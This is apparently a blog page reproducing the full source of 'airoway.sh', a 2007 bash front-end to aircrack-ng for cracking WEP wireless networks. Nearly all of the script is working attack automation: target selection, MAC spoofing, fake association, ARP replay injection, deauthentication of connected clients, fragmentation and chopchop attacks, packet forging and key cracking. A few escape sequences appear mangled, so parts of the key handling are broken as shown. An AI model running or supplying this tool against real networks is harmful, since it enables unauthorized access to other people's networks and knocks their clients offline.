airoway.sh源代码

Code:
  1. #! /bin/bash   
  2. # Airoway 0.62 (June 30th 2007)   
  3. # Developed by Divide for Wifiway   
  4. # Thanks to Daouid, Hadrianweb, and SeguridadWireless team !   
  5.   
  6. #set theses 2 variables according to your hardware   
  7.   
  8. LISTEN="rtap0"  
  9. INJECT="wifi0"  
  10.   
  11. ###########################   
  12.   
  13. AUTOCLOSETERMINAL=0   
  14.   
  15. ###########################   
  16. ###########################   
  17.   
  18. VER="0.62"  
  19.   
  20. TOPR='-hold -title Airoway_Scan_[CTRL][C]_to_stop -geometry 92x28+456+0 -fs 8 -bg #000000 -fg #00FF00'  
  21. BOTR='-hold -title Airoway_Attack_[CTRL][C]_to_stop -geometry 92x24+456+394 -fs 8 -bg #000000 -fg #FF0000'  
  22.   
  23. TOPL='-hold -title Airoway_Command_[CTRL][C]_to_quit -geometry 74x24+0+0 -fs 8 -bg #000000 -fg #FFFFFF'  
  24. MIDL='-hold -title Airoway_Attack_[CTRL][C]_to_stop -geometry 74x13+0+340 -fs 8 -bg #000000 -fg #FFFF00'  
  25. BOTL='-hold -title Airoway_Attack_[CTRL][C]_to_stop -geometry 74x13+0+537 -fs 8 -bg #000000 -fg #FFFF00'  
  26.   
  27. POPUPTOP='-title Airoway_Fragmentation_[CTRL][C]_to_stop -geometry 74x20+330+102 -fs 8 -bg #000000 -fg #FFFF00'  
  28. POPUPBOT='-title Airoway_ChopChop_[CTRL][C]_to_stop -geometry 74x20+330+390 -fs 8 -bg #000000 -fg #FFFF00'  
  29. POPUPMID='-title Airoway_Interactive_[CTRL][C]_to_stop -geometry 74x20+330+200 -fs 8 -bg #000000 -fg #FFFF00'  
  30.   
  31. RET=$'/n'  
  32. ESC=$'/e'  
  33. LEFT=$'[D'  
  34. RIGHT=$'[C'  
  35. #LEFT=$'/x1b[D'   
  36. #RIGHT=$'/x1b[C'   
  37.   
  38.     
  39.   
  40. if [ `ls -1 -t /sys/class/net/$LISTEN | head -n 1` -a `ls -1 -t /sys/class/net/$INJECT | head -n 1` ]   
  41. then   
  42.     echo -n ""  
  43. else  
  44.     clear   
  45.     echo "You must edit airoway.sh with your wifi interfaces"  
  46.     exit   
  47. fi   
  48.   
  49.     
  50.   
  51. _key()   
  52. {   
  53.     IFS= read -r -s -n1 -d '' "${@:-_KEY}"  
  54.     if [ "$_KEY" = "$ESC" ]   
  55.     then   
  56.         IFS= read -r -s -n2 -d '' -t1 "${@:-_KEY}"  
  57.     fi       
  58. }   
  59.   
  60. function Num2Char() {   
  61. conv=""  
  62. case $1   
  63. in   
  64.     0) conv="0";;   
  65.     1) conv="1";;   
  66.     2) conv="2";;   
  67.     3) conv="3";;   
  68.     4) conv="4";;   
  69.     5) conv="5";;   
  70.     6) conv="6";;   
  71.     7) conv="7";;   
  72.     8) conv="8";;   
  73.     9) conv="9";;   
  74.     10) conv="a";;   
  75.     11) conv="b";;   
  76.     12) conv="c";;   
  77.     13) conv="d";;   
  78.     14) conv="e";;   
  79.     15) conv="f";;   
  80.     16) conv="g";;   
  81.     17) conv="h";;   
  82.     18) conv="i";;   
  83.     19) conv="j";;   
  84.     20) conv="k";;   
  85. esac   
  86. }   
  87.   
  88. function Char2Num() {   
  89. conv=""  
  90. case $1   
  91. in   
  92.     0) conv="0";;   
  93.     1) conv="1";;   
  94.     2) conv="2";;   
  95.     3) conv="3";;   
  96.     4) conv="4";;   
  97.     5) conv="5";;   
  98.     6) conv="6";;   
  99.     7) conv="7";;   
  100.     8) conv="8";;   
  101.     9) conv="9";;   
  102.     a) conv="10";;   
  103.     b) conv="11";;   
  104.     c) conv="12";;   
  105.     d) conv="13";;   
  106.     e) conv="14";;   
  107.     f) conv="15";;   
  108.     g) conv="16";;   
  109.     h) conv="17";;   
  110.     i) conv="18";;   
  111.     j) conv="19";;   
  112.     k) conv="20";;   
  113. esac   
  114. }   
  115.   
  116. # From AiroScript (modified version)   
  117. function Parseforap {   
  118. ap_array=`cat airowaydump-01.txt | grep -a -n Station | awk -F : '{print $1}'`   
  119. head -n $ap_array airowaydump-01.txt &> airowaydump-02.txt   
  120. clear   
  121. echo "---Airoway $VER---"  
  122. echo ""  
  123. i=0   
  124. echo -e "["$i"] BACK to channels scan"  
  125. while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do    
  126. longueur=${#MAC}   
  127.    if [ $longueur -ge 17 ]; then   
  128.     i=$(($i+1))   
  129.        
  130.     Num2Char $i   
  131.        
  132.        
  133.        
  134.     echo -e "["$conv"] $MAC $PRIVACY $CHANNEL $ESSID"  
  135.     aidlenght=$IDLENGTH   
  136.     assid[$i]=$ESSID   
  137.     achannel[$i]=$CHANNEL   
  138.     amac[$i]=$MAC   
  139.     aprivacy[$i]=$PRIVACY   
  140.    fi   
  141. done < airowaydump-02.txt   
  142. conv=""  
  143. while [ "$conv" = "" ]   
  144. do  
  145.     _key   
  146.     Char2Num $_KEY   
  147. done   
  148.   
  149. idlenght=${aidlenght[$conv]}   
  150. ssid=${assid[$conv]}   
  151. acouper=${#ssid}   
  152. fin=$(($acouper-idlength))   
  153. essid=${ssid:1:fin}   
  154.   
  155. channel=${achannel[$conv]}   
  156. bssid=${amac[$conv]}   
  157.   
  158. }   
  159.   
  160.   
  161. if [ "$1" = "com" ]   
  162. then   
  163.     echo "" >/var/tmp/$2com   
  164.     echo "999999999" >/var/tmp/$2compid   
  165.     trap 'kill $compid 2>/dev/null' 2   
  166.     while [ 1 ]   
  167.     do  
  168.         sleep 0.1   
  169.         read com </var/tmp/$2com   
  170.         read compid  </var/tmp/$2compid   
  171.         if [ "$com" != "" ]   
  172.         then   
  173.             if [ `ps -p $compid -o pid | grep -v PID` ]   
  174.             then   
  175.                 kill $compid   
  176.             else  
  177.                 clear   
  178.                 if [ "$2" = "topr" ]   
  179.                 then   
  180.                     `$com` & #prevent a display bug with airodump-ng   
  181.                     compid=$!   
  182.                     compid=$[$compid+1]   
  183.                 else                   
  184.                     eval "$com &"  
  185.                     compid=$!   
  186.                 fi   
  187.                 echo $compid >/var/tmp/$2compid   
  188.                 echo "" >/var/tmp/$2com   
  189.             fi   
  190.         fi   
  191.     done   
  192. elif [ "$1" = "scan" ]   
  193. then   
  194.   
  195. trap 'ifconfig $INJECT down; read hmac </var/tmp/hmac; macchanger $INJECT -m $hmac; ifconfig $INJECT up; killall xterm' 2   
  196. read hmac </sys/class/net/$INJECT/device/net:$INJECT/address   
  197.   
  198. while [ 1 ]   
  199. do  
  200.     clear   
  201.     echo "---Airoway $VER---"  
  202.     echo ""  
  203.     rm airowaydump*  2>/dev/null   
  204.     rm *.cap  2>/dev/null   
  205.     rm *.xor  2>/dev/null   
  206.     read channel </sys/class/net/$INJECT/device/channel   
  207.     echo "airodump-ng -c $channel -w airowaydump $LISTEN" >/var/tmp/toprcom   
  208.     echo "aireplay-ng -9 $INJECT" >/var/tmp/botrcom   
  209.   
  210.     echo "Scanning channel $channel..."  
  211.     echo "[LEFT] or [RIGHT] to change channel"  
  212.     echo "[1][2][3][4][5][6][7][8][9][a][b][c][d][e] to jump to a channel"  
  213.     echo "[ENTER] to start cracking an access point"  
  214.     _key   
  215.   
  216.     if [ "$_KEY" = "$RIGHT" ]   
  217.     then   
  218.         channel=$[$channel+1]   
  219.     fi   
  220.     if [ "$_KEY" = "$LEFT" ]   
  221.     then   
  222.         channel=$[$channel-1]   
  223.     fi   
  224.     Char2Num $_KEY   
  225.     if [ "$conv" != "" ]   
  226.     then   
  227.         channel=$conv   
  228.     fi   
  229.     if [ "$_KEY" = "$RET" ]   
  230.     then   
  231.         echo "Parsing..."  
  232.         read toprcompid </var/tmp/toprcompid   
  233.         kill $toprcompid   
  234.         read botrcompid </var/tmp/botrcompid   
  235.         kill $botrcompid   
  236.         sleep 0.2   
  237.            
  238.         Parseforap   
  239.   
  240.         if [ "$conv" != "0" ]   
  241.         then   
  242.   
  243.         ifconfig $INJECT down    
  244.         echo $channel >/sys/class/net/$INJECT/device/channel   
  245.         #chmod u+wrx /sys/class/net/$INJECT/device/rate   
  246.         echo 4 >/sys/class/net/$INJECT/device/rate   
  247.         echo $bssid >/sys/class/net/$INJECT/device/bssid   
  248.         ifconfig $INJECT up   
  249.            
  250.         rm airowaydump*   
  251.         echo "airodump-ng -c $channel --bssid $bssid -w airowaydump $LISTEN" >/var/tmp/toprcom   
  252.         echo "aireplay-ng -9 -e '$essid' -a $bssid $INJECT" >/var/tmp/botrcom   
  253.            
  254.         cracking=1   
  255.         while [ "$cracking" = "1" ]   
  256.         do                                           
  257.             clear   
  258.             echo "---Airoway $VER---"  
  259.             echo ""  
  260.             echo "Access point: $bssid ($essid)"  
  261.             echo "My MAC: $hmac"  
  262.             echo ""  
  263.             echo "[0] BACK to channels scan"  
  264.             echo "[1] CHANGE my MAC (will stop all attacks)"  
  265.             echo "[2] ASSOCIATE (don't if you already use an associated MAC)"  
  266.             echo "[3] REPLAY live ARPs (boost traffic if ARPs are detected)"  
  267.             echo "[4] DISCONNECT an associated client (generate ARPs on reconnection)"  
  268.             echo "[5] COLLECT datas to generate offline ARP or for special associations"  
  269.             echo "[6] GENERATE an offline ARP from collected datas"  
  270.             echo "[7] REPLAY last ARPs (generated or from previous live session)"  
  271.             echo "[8] CRACK key (wait for enough packets before doing this)"  
  272.             echo "[9] Interactive Attack"  
  273.                
  274.             echo ""  
  275.             _key   
  276.             if [ "$_KEY" = "0" ] # back to scan   
  277.             then   
  278.                 read toprcompid </var/tmp/toprcompid   
  279.                 kill $toprcompid   
  280.                 read botrcompid </var/tmp/botrcompid   
  281.                 kill $botrcompid   
  282.                 echo "clear" >/var/tmp/botrcom   
  283.                 read midlcompid </var/tmp/midlcompid   
  284.                 kill $midlcompid   
  285.                 echo "clear" >/var/tmp/midlcom   
  286.                 read botlcompid </var/tmp/botlcompid   
  287.                 kill $botlcompid   
  288.                 echo "clear" >/var/tmp/botlcom   
  289.                 cracking=0   
  290.             fi   
  291.             if [ "$_KEY" = "1" ] # change mac   
  292.             then   
  293.                 read originalmac </var/tmp/hmac   
  294.                 echo "Original MAC: $originalmac"  
  295.                 echo "Enter new MAC or [ENTER] to abort:"  
  296.                 echo "(you can select a MAC with your mouse and middle click here to paste it)"  
  297.                 read hmac   
  298.                 if [ "$hmac" != "" ]   
  299.                 then   
  300.   
  301.                     read toprcompid </var/tmp/toprcompid   
  302.                     kill $toprcompid   
  303.                     read botrcompid </var/tmp/botrcompid   
  304.                     kill $botrcompid   
  305.                     echo "clear" >/var/tmp/botrcom   
  306.                     read midlcompid </var/tmp/midlcompid   
  307.                     kill $midlcompid   
  308.                     echo "clear" >/var/tmp/midlcom   
  309.                     read botlcompid </var/tmp/botlcompid   
  310.                     kill $botlcompid   
  311.                     echo "clear" >/var/tmp/botlcom   
  312.                                                        
  313.                     ifconfig $INJECT down   
  314.                     macchanger $INJECT -m $hmac   
  315.                     ifconfig $INJECT up   
  316.                    
  317.                     echo "airodump-ng -c $channel --bssid $bssid -w airowaydump $LISTEN" >/var/tmp/toprcom   
  318.                 else  
  319.                     hmac=$originalmac   
  320.                 fi   
  321.             fi   
  322.             if [ "$_KEY" = "2" ] # associate   
  323.             then   
  324.                 read midlcompid </var/tmp/midlcompid   
  325.                 kill $midlcompid   
  326.                 if [ `ls -1 -t *.xor | head -n 1` ]   
  327.                 then               
  328.                     echo "aireplay-ng -1 0 -o 1 -e '$essid' -y `ls -1 -t *.xor | head -n 1` -a $bssid -h $hmac $INJECT" >/var/tmp/midlcom   
  329.                 else  
  330.                     echo "aireplay-ng -1 0 -o 1 -e '$essid' -a $bssid -h $hmac $INJECT" >/var/tmp/midlcom   
  331.                 fi   
  332.             fi   
  333.             if [ "$_KEY" = "3" ] # replay live arp   
  334.             then   
  335.                 read botlcompid </var/tmp/botlcompid   
  336.                 kill $botlcompid               
  337.                 echo "aireplay-ng -3 -b $bssid -h $hmac -x 512 $INJECT" >/var/tmp/botlcom   
  338.             fi   
  339.             if [ "$_KEY" = "4" ] # disconnect   
  340.             then               
  341.                 echo "Enter a MAC to disconnect or [ENTER] to abort:"  
  342.                 echo "(you can select a MAC with your mouse and middle click here to paste it)"  
  343.                 read cmac   
  344.                 if [ "$cmac" != "" ]   
  345.                 then   
  346.                     aireplay-ng -0 3 -a $bssid -c $cmac $INJECT &   
  347.                     deauthpid=$!   
  348.                     sleep 4   
  349.                     kill deauthpid   
  350.                 fi   
  351.                    
  352.             fi   
  353.             if [ "$_KEY" = "5" ] # collect datas using fragmentation   
  354.             then   
  355.                
  356.                 xterm $POPUPTOP -e aireplay-ng -5 -b $bssid -h $hmac $INJECT &   
  357.                 xterm $POPUPBOT -e aireplay-ng -4 -b $bssid -h $hmac $INJECT &   
  358.             fi   
  359.             if [ "$_KEY" = "6" ] # generate arp   
  360.             then   
  361.                 if [ `ls -1 -t *.xor | head -n 1` ]   
  362.                 then   
  363.                     packetforge-ng -0 -a $bssid -h $hmac -k 255.255.255.255 -l 255.255.255.255 -y `ls -1 -t *.xor | head -n 1` -w replay_arp-generated.cap &   
  364.                     sleep 1   
  365.                 fi   
  366.             fi   
  367.             if [ "$_KEY" = "7" ] # replay offline arp   
  368.             then   
  369.                 if [ `ls -1 -t replay_arp*.cap | head -n 1` ]   
  370.                 then       
  371.                     read botlcompid </var/tmp/botlcompid   
  372.                     kill $botlcompid   
  373.                     echo "aireplay-ng -3 -b $bssid -h $hmac -x 512 -r `ls -1 -t replay_arp*.cap | head -n 1` $INJECT" >/var/tmp/botlcom   
  374.                 else  
  375.                     echo "no offline ARPs available"  
  376.                     sleep 1   
  377.                 fi   
  378.             fi   
  379.             if [ "$_KEY" = "8" ] # crack   
  380.   
  381.             then   
  382.                 read botrcompid </var/tmp/botrcompid   
  383.                 kill $botrcompid               
  384.                 echo "aircrack-ng -z -b $bssid airowaydump*.cap" >/var/tmp/botrcom   
  385.             fi   
  386.   
  387.             if [ "$_KEY" = "9" ] # collect datas using Interactive   
  388.             then   
  389.             xterm $POPUPTOP -e aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac $INJECT &   
  390.             fi               
  391.         done   
  392.         fi   
  393.     fi   
  394.   
  395.     read toprcompid </var/tmp/toprcompid   
  396.     kill $toprcompid   
  397.     read botrcompid </var/tmp/botrcompid   
  398.     kill $botrcompid   
  399.     sleep 0.1   
  400.     ifconfig $INJECT down    
  401.     echo $channel >/sys/class/net/$INJECT/device/channel   
  402.     ifconfig $INJECT up   
  403. done   
  404. else  
  405.     echo -n "Launching Airoway"  
  406.        
  407.     read hmac </sys/class/net/$INJECT/device/net:$INJECT/address   
  408.     echo $hmac >/var/tmp/hmac   
  409.        
  410.     channel=1   
  411.     ifconfig $INJECT down    
  412.     echo $channel >/sys/class/net/$INJECT/device/channel   
  413.     ifconfig $INJECT up   
  414.   
  415.     xterm $MIDL -e $0 com midl &   
  416.     echo $! >/var/tmp/midlpid   
  417.        
  418.     xterm $BOTL -e $0 com botl &   
  419.     echo $! >/var/tmp/botlpid   
  420.        
  421.     xterm $TOPR -e $0 com topr &   
  422.     echo $! >/var/tmp/toprpid               
  423.        
  424.     xterm $BOTR -e $0 com botr &   
  425.     echo $! >/var/tmp/botrpid               
  426.        
  427.     sleep 0.5   
  428.        
  429.     xterm $TOPL -wf -e $0 scan &   
  430.     echo $! >/var/tmp/toplpid   
  431.   
  432.        
  433.     if [ "$AUTOCLOSETERMINAL" = "1" ]   
  434.     then   
  435.         xterm -e killall -KILL Terminal   
  436.     fi   
  437.     sleep 0.5   
  438.     echo -n "."  
  439.     sleep 0.5   
  440.     echo -n "."  
  441.     sleep 0.5   
  442.     echo -n "."  
  443.     sleep 0.5   
  444.     echo -n "."  
  445.     sleep 0.5   
  446.     echo "."  
  447. fi   
  448.   

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值